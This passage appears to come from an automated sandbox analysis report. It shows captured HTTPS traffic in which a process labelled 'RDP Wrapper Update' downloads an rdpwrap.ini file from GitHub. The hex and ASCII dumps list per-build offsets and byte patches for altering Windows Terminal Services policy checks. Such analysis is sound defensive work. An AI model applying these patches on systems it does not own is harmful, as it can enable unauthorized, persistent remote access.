                                                                                                                                          Data Ascii: BD7DefPolicyCode.x64=CDefPolicy_Query_eax_rcx_jmp[6.0.6002.18005]SingleUserPatch.x86=1SingleUserOffset.x86=17FA8SingleUserCode.x86=nopSingleUserPatch.x64=1SingleUserOffset.x64=70FF6SingleUserCode.x64=ZeroDefPolicyPatch.x86=1DefPolicy
                                                                                                                                          2024-11-08 10:29:16 UTC1378INData Raw: 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 64 78 5f 65 63 78 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 36 34 3d 36 35 43 31 44 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 36 34 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 72 63 78 5f 6a 6d 70 0d 0a 0d 0a 5b 36 2e 30 2e 36 30 30 31 2e 32 32 33 35 37 5d 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 38 36 3d 31 38 35 45 34 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 38 36 3d 6e 6f 70 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78
                                                                                                                                          Data Ascii: Policy_Query_edx_ecxDefPolicyPatch.x64=1DefPolicyOffset.x64=65C1DDefPolicyCode.x64=CDefPolicy_Query_eax_rcx_jmp[6.0.6001.22357]SingleUserPatch.x86=1SingleUserOffset.x86=185E4SingleUserCode.x86=nopSingleUserPatch.x64=1SingleUserOffset.x
                                                                                                                                          2024-11-08 10:29:16 UTC1378INData Raw: 6c 69 63 79 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 38 36 3d 31 37 39 43 30 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 38 36 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 64 78 5f 65 63 78 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 36 34 3d 36 36 37 35 44 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 36 34 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 72 63 78 5f 6a 6d 70 0d 0a 0d 0a 5b 36 2e 30 2e 36 30 30 32 2e 32 32 37 39 30 5d 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 38 36 3d 31 37 46 41 38 0d
                                                                                                                                          Data Ascii: licyPatch.x86=1DefPolicyOffset.x86=179C0DefPolicyCode.x86=CDefPolicy_Query_edx_ecxDefPolicyPatch.x64=1DefPolicyOffset.x64=6675DDefPolicyCode.x64=CDefPolicy_Query_eax_rcx_jmp[6.0.6002.22790]SingleUserPatch.x86=1SingleUserOffset.x86=17FA8
                                                                                                                                          2024-11-08 10:29:16 UTC1378INData Raw: 2e 78 36 34 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 36 34 3d 31 37 44 39 36 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 36 34 3d 5a 65 72 6f 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 38 36 3d 31 39 36 46 33 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 38 36 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 65 73 69 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 36 34 3d 31 37 41 44 32 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 36 34 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 72 64 69 0d 0a 0d 0a 5b 36 2e 31 2e 37
                                                                                                                                          Data Ascii: .x64=1SingleUserOffset.x64=17D96SingleUserCode.x64=ZeroDefPolicyPatch.x86=1DefPolicyOffset.x86=196F3DefPolicyCode.x86=CDefPolicy_Query_eax_esiDefPolicyPatch.x64=1DefPolicyOffset.x64=17AD2DefPolicyCode.x64=CDefPolicy_Query_eax_rdi[6.1.7
                                                                                                                                          2024-11-08 10:29:16 UTC1378INData Raw: 78 38 36 3d 31 39 45 46 35 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 38 36 3d 6e 6f 70 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 36 34 3d 31 37 44 35 36 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 36 34 3d 5a 65 72 6f 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 38 36 3d 31 39 37 36 31 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 38 36 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 65 73 69 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 36 34 3d 31 37 42 33 45 0d 0a 44 65
                                                                                                                                          Data Ascii: x86=19EF5SingleUserCode.x86=nopSingleUserPatch.x64=1SingleUserOffset.x64=17D56SingleUserCode.x64=ZeroDefPolicyPatch.x86=1DefPolicyOffset.x86=19761DefPolicyCode.x86=CDefPolicy_Query_eax_esiDefPolicyPatch.x64=1DefPolicyOffset.x64=17B3EDe
                                                                                                                                          2024-11-08 10:29:16 UTC1378INData Raw: 31 2e 32 31 36 35 30 5d 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 38 36 3d 31 41 34 39 44 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 38 36 3d 6e 6f 70 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 36 34 3d 31 38 30 42 45 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 36 34 3d 5a 65 72 6f 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 38 36 3d 31 39 44 35 33 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 38 36 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 65 73 69 0d 0a 44
                                                                                                                                          Data Ascii: 1.21650]SingleUserPatch.x86=1SingleUserOffset.x86=1A49DSingleUserCode.x86=nopSingleUserPatch.x64=1SingleUserOffset.x64=180BESingleUserCode.x64=ZeroDefPolicyPatch.x86=1DefPolicyOffset.x86=19D53DefPolicyCode.x86=CDefPolicy_Query_eax_esiD
                                                                                                                                          2024-11-08 10:29:16 UTC1378INData Raw: 6f 6c 69 63 79 43 6f 64 65 2e 78 36 34 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 72 64 69 0d 0a 0d 0a 5b 36 2e 31 2e 37 36 30 31 2e 32 32 34 33 35 5d 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 38 36 3d 31 41 35 42 44 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 38 36 3d 6e 6f 70 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 36 34 3d 31 37 46 33 36 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 36 34 3d 5a 65 72 6f 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 38 36 3d 31 39
                                                                                                                                          Data Ascii: olicyCode.x64=CDefPolicy_Query_eax_rdi[6.1.7601.22435]SingleUserPatch.x86=1SingleUserOffset.x86=1A5BDSingleUserCode.x86=nopSingleUserPatch.x64=1SingleUserOffset.x64=17F36SingleUserCode.x64=ZeroDefPolicyPatch.x86=1DefPolicyOffset.x86=19
                                                                                                                                          2024-11-08 10:29:16 UTC1378INData Raw: 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 36 34 3d 31 37 44 36 45 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 36 34 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 72 64 69 0d 0a 0d 0a 5b 36 2e 31 2e 37 36 30 31 2e 32 33 34 30 33 5d 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 38 36 3d 31 41 36 35 44 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 38 36 3d 6e 6f 70 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 36 34 3d 31 37 46 36 32 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 36 34 3d
                                                                                                                                          Data Ascii: PolicyPatch.x64=1DefPolicyOffset.x64=17D6EDefPolicyCode.x64=CDefPolicy_Query_eax_rdi[6.1.7601.23403]SingleUserPatch.x86=1SingleUserOffset.x86=1A65DSingleUserCode.x86=nopSingleUserPatch.x64=1SingleUserOffset.x64=17F62SingleUserCode.x64=


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                          20192.168.11.2049744185.199.110.133443
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:29:25 UTC151OUTGET /sebaxakerhtc/rdpwrap.ini/master/rdpwrap.ini HTTP/1.1
                                                                                                                                          User-Agent: RDP Wrapper Update
                                                                                                                                          Host: raw.githubusercontent.com
                                                                                                                                          Cache-Control: no-cache
                                                                                                                                          2024-11-08 10:29:26 UTC900INHTTP/1.1 200 OK
                                                                                                                                          Connection: close
                                                                                                                                          Content-Length: 451403
                                                                                                                                          Cache-Control: max-age=300
                                                                                                                                          Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
                                                                                                                                          Content-Type: text/plain; charset=utf-8
                                                                                                                                          ETag: "e851266d120f779cf9bcc701517a6f84b8dbdd12fa49655a6eb06b1feba98d63"
                                                                                                                                          Strict-Transport-Security: max-age=31536000
                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                          X-Frame-Options: deny
                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                          X-GitHub-Request-Id: E8BC:CBA4B:27F7C4:2C8DCE:672DDA1A
                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                          Date: Fri, 08 Nov 2024 10:29:26 GMT
                                                                                                                                          Via: 1.1 varnish
                                                                                                                                          X-Served-By: cache-ewr-kewr1740057-EWR
                                                                                                                                          X-Cache: HIT
                                                                                                                                          X-Cache-Hits: 1
                                                                                                                                          X-Timer: S1731061766.008329,VS0,VE2
                                                                                                                                          Vary: Authorization,Accept-Encoding,Origin
                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                          Cross-Origin-Resource-Policy: cross-origin
                                                                                                                                          X-Fastly-Request-ID: 22d9ae632a2a50e42c083f7201dcc2ae2aaf3b04
                                                                                                                                          Expires: Fri, 08 Nov 2024 10:34:26 GMT
                                                                                                                                          Source-Age: 10
                                                                                                                                          2024-11-08 10:29:26 UTC1378INData Raw: 3b 20 52 44 50 20 57 72 61 70 70 65 72 20 4c 69 62 72 61 72 79 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 0d 0a 3b 20 44 6f 20 6e 6f 74 20 6d 6f 64 69 66 79 20 77 69 74 68 6f 75 74 20 73 70 65 63 69 61 6c 20 6b 6e 6f 77 6c 65 64 67 65 0d 0a 3b 20 45 64 69 74 65 64 20 62 79 20 73 65 62 61 78 61 6b 65 72 68 74 63 0d 0a 0d 0a 5b 4d 61 69 6e 5d 0d 0a 55 70 64 61 74 65 64 3d 32 30 32 34 2d 31 31 2d 30 32 0d 0a 4c 6f 67 46 69 6c 65 3d 5c 72 64 70 77 72 61 70 2e 74 78 74 0d 0a 53 4c 50 6f 6c 69 63 79 48 6f 6f 6b 4e 54 36 30 3d 31 0d 0a 53 4c 50 6f 6c 69 63 79 48 6f 6f 6b 4e 54 36 31 3d 31 0d 0a 0d 0a 5b 53 4c 50 6f 6c 69 63 79 5d 0d 0a 54 65 72 6d 69 6e 61 6c 53 65 72 76 69 63 65 73 2d 52 65 6d 6f 74 65 43 6f 6e 6e 65 63 74 69 6f 6e 4d 61 6e 61 67 65 72 2d 41 6c
                                                                                                                                          Data Ascii: ; RDP Wrapper Library configuration; Do not modify without special knowledge; Edited by sebaxakerhtc[Main]Updated=2024-11-02LogFile=\rdpwrap.txtSLPolicyHookNT60=1SLPolicyHookNT61=1[SLPolicy]TerminalServices-RemoteConnectionManager-Al
                                                                                                                                          2024-11-08 10:29:26 UTC1378INData Raw: 38 39 38 31 33 38 30 36 30 30 30 30 39 30 45 42 0d 0a 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 65 73 69 3d 42 38 30 30 30 31 30 30 30 30 38 39 38 36 32 30 30 33 30 30 30 30 39 30 0d 0a 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 72 64 69 3d 42 38 30 30 30 31 30 30 30 30 38 39 38 37 33 38 30 36 30 30 30 30 39 30 0d 0a 3b 20 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 65 63 78 3d 42 38 30 30 30 31 30 30 30 30 38 39 38 31 32 30 30 33 30 30 30 30 39 30 0d 0a 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 65 63 78 3d 42 38 30 30 30 31 30 30 30 30 38 39 38 31 32 34 30 33 30 30 30 30 39 30 0d 0a 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 65 63 78 5f 6a 6d 70 3d 42 38
                                                                                                                                          Data Ascii: 89813806000090EBCDefPolicy_Query_eax_esi=B80001000089862003000090CDefPolicy_Query_eax_rdi=B80001000089873806000090; CDefPolicy_Query_eax_ecx=B80001000089812003000090CDefPolicy_Query_eax_ecx=B80001000089812403000090CDefPolicy_Query_eax_ecx_jmp=B8
                                                                                                                                          2024-11-08 10:29:26 UTC1378INData Raw: 42 44 37 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 36 34 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 72 63 78 5f 6a 6d 70 0d 0a 0d 0a 5b 36 2e 30 2e 36 30 30 32 2e 31 38 30 30 35 5d 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 38 36 3d 31 37 46 41 38 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 38 36 3d 6e 6f 70 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 36 34 3d 37 30 46 46 36 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 36 34 3d 5a 65 72 6f 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79
                                                                                                                                          Data Ascii: BD7DefPolicyCode.x64=CDefPolicy_Query_eax_rcx_jmp[6.0.6002.18005]SingleUserPatch.x86=1SingleUserOffset.x86=17FA8SingleUserCode.x86=nopSingleUserPatch.x64=1SingleUserOffset.x64=70FF6SingleUserCode.x64=ZeroDefPolicyPatch.x86=1DefPolicy
                                                                                                                                          2024-11-08 10:29:26 UTC1378INData Raw: 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 64 78 5f 65 63 78 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 36 34 3d 36 35 43 31 44 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 36 34 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 72 63 78 5f 6a 6d 70 0d 0a 0d 0a 5b 36 2e 30 2e 36 30 30 31 2e 32 32 33 35 37 5d 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 38 36 3d 31 38 35 45 34 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 38 36 3d 6e 6f 70 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78
                                                                                                                                          Data Ascii: Policy_Query_edx_ecxDefPolicyPatch.x64=1DefPolicyOffset.x64=65C1DDefPolicyCode.x64=CDefPolicy_Query_eax_rcx_jmp[6.0.6001.22357]SingleUserPatch.x86=1SingleUserOffset.x86=185E4SingleUserCode.x86=nopSingleUserPatch.x64=1SingleUserOffset.x
                                                                                                                                          2024-11-08 10:29:26 UTC1378INData Raw: 6c 69 63 79 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 38 36 3d 31 37 39 43 30 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 38 36 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 64 78 5f 65 63 78 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 36 34 3d 36 36 37 35 44 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 36 34 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 72 63 78 5f 6a 6d 70 0d 0a 0d 0a 5b 36 2e 30 2e 36 30 30 32 2e 32 32 37 39 30 5d 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 38 36 3d 31 37 46 41 38 0d
                                                                                                                                          Data Ascii: licyPatch.x86=1DefPolicyOffset.x86=179C0DefPolicyCode.x86=CDefPolicy_Query_edx_ecxDefPolicyPatch.x64=1DefPolicyOffset.x64=6675DDefPolicyCode.x64=CDefPolicy_Query_eax_rcx_jmp[6.0.6002.22790]SingleUserPatch.x86=1SingleUserOffset.x86=17FA8
                                                                                                                                          2024-11-08 10:29:26 UTC1378INData Raw: 2e 78 36 34 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 36 34 3d 31 37 44 39 36 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 36 34 3d 5a 65 72 6f 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 38 36 3d 31 39 36 46 33 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 38 36 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 65 73 69 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 36 34 3d 31 37 41 44 32 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 36 34 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 72 64 69 0d 0a 0d 0a 5b 36 2e 31 2e 37
                                                                                                                                          Data Ascii: .x64=1SingleUserOffset.x64=17D96SingleUserCode.x64=ZeroDefPolicyPatch.x86=1DefPolicyOffset.x86=196F3DefPolicyCode.x86=CDefPolicy_Query_eax_esiDefPolicyPatch.x64=1DefPolicyOffset.x64=17AD2DefPolicyCode.x64=CDefPolicy_Query_eax_rdi[6.1.7
                                                                                                                                          2024-11-08 10:29:26 UTC1378INData Raw: 78 38 36 3d 31 39 45 46 35 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 38 36 3d 6e 6f 70 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 36 34 3d 31 37 44 35 36 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 36 34 3d 5a 65 72 6f 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 38 36 3d 31 39 37 36 31 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 38 36 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 65 73 69 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 36 34 3d 31 37 42 33 45 0d 0a 44 65
                                                                                                                                          Data Ascii: x86=19EF5SingleUserCode.x86=nopSingleUserPatch.x64=1SingleUserOffset.x64=17D56SingleUserCode.x64=ZeroDefPolicyPatch.x86=1DefPolicyOffset.x86=19761DefPolicyCode.x86=CDefPolicy_Query_eax_esiDefPolicyPatch.x64=1DefPolicyOffset.x64=17B3EDe
                                                                                                                                          2024-11-08 10:29:26 UTC1378INData Raw: 31 2e 32 31 36 35 30 5d 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 38 36 3d 31 41 34 39 44 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 38 36 3d 6e 6f 70 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 36 34 3d 31 38 30 42 45 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 36 34 3d 5a 65 72 6f 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 38 36 3d 31 39 44 35 33 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 38 36 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 65 73 69 0d 0a 44
                                                                                                                                          Data Ascii: 1.21650]SingleUserPatch.x86=1SingleUserOffset.x86=1A49DSingleUserCode.x86=nopSingleUserPatch.x64=1SingleUserOffset.x64=180BESingleUserCode.x64=ZeroDefPolicyPatch.x86=1DefPolicyOffset.x86=19D53DefPolicyCode.x86=CDefPolicy_Query_eax_esiD
                                                                                                                                          2024-11-08 10:29:26 UTC1378INData Raw: 6f 6c 69 63 79 43 6f 64 65 2e 78 36 34 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 72 64 69 0d 0a 0d 0a 5b 36 2e 31 2e 37 36 30 31 2e 32 32 34 33 35 5d 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 38 36 3d 31 41 35 42 44 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 38 36 3d 6e 6f 70 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 36 34 3d 31 37 46 33 36 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 36 34 3d 5a 65 72 6f 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 38 36 3d 31 39
                                                                                                                                          Data Ascii: olicyCode.x64=CDefPolicy_Query_eax_rdi[6.1.7601.22435]SingleUserPatch.x86=1SingleUserOffset.x86=1A5BDSingleUserCode.x86=nopSingleUserPatch.x64=1SingleUserOffset.x64=17F36SingleUserCode.x64=ZeroDefPolicyPatch.x86=1DefPolicyOffset.x86=19
                                                                                                                                          2024-11-08 10:29:26 UTC1378INData Raw: 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79 4f 66 66 73 65 74 2e 78 36 34 3d 31 37 44 36 45 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 36 34 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 72 64 69 0d 0a 0d 0a 5b 36 2e 31 2e 37 36 30 31 2e 32 33 34 30 33 5d 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 38 36 3d 31 41 36 35 44 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 38 36 3d 6e 6f 70 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 36 34 3d 31 37 46 36 32 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 36 34 3d
                                                                                                                                          Data Ascii: PolicyPatch.x64=1DefPolicyOffset.x64=17D6EDefPolicyCode.x64=CDefPolicy_Query_eax_rdi[6.1.7601.23403]SingleUserPatch.x86=1SingleUserOffset.x86=1A65DSingleUserCode.x86=nopSingleUserPatch.x64=1SingleUserOffset.x64=17F62SingleUserCode.x64=


                                                                                                                                          Statistics

                                                                                                                                          CPU Usage

                                                                                                                                          Click to jump to process

                                                                                                                                          Memory Usage

                                                                                                                                          Click to jump to process

                                                                                                                                          High Level Behavior Distribution

                                                                                                                                          Click to dive into process behavior distribution

                                                                                                                                          Behavior

                                                                                                                                          Click to jump to process

                                                                                                                                          System Behavior

                                                                                                                                          General

                                                                                                                                          Target ID:0
                                                                                                                                          Start time:05:27:10
                                                                                                                                          Start date:08/11/2024
                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                          Wow64 process (32bit):false
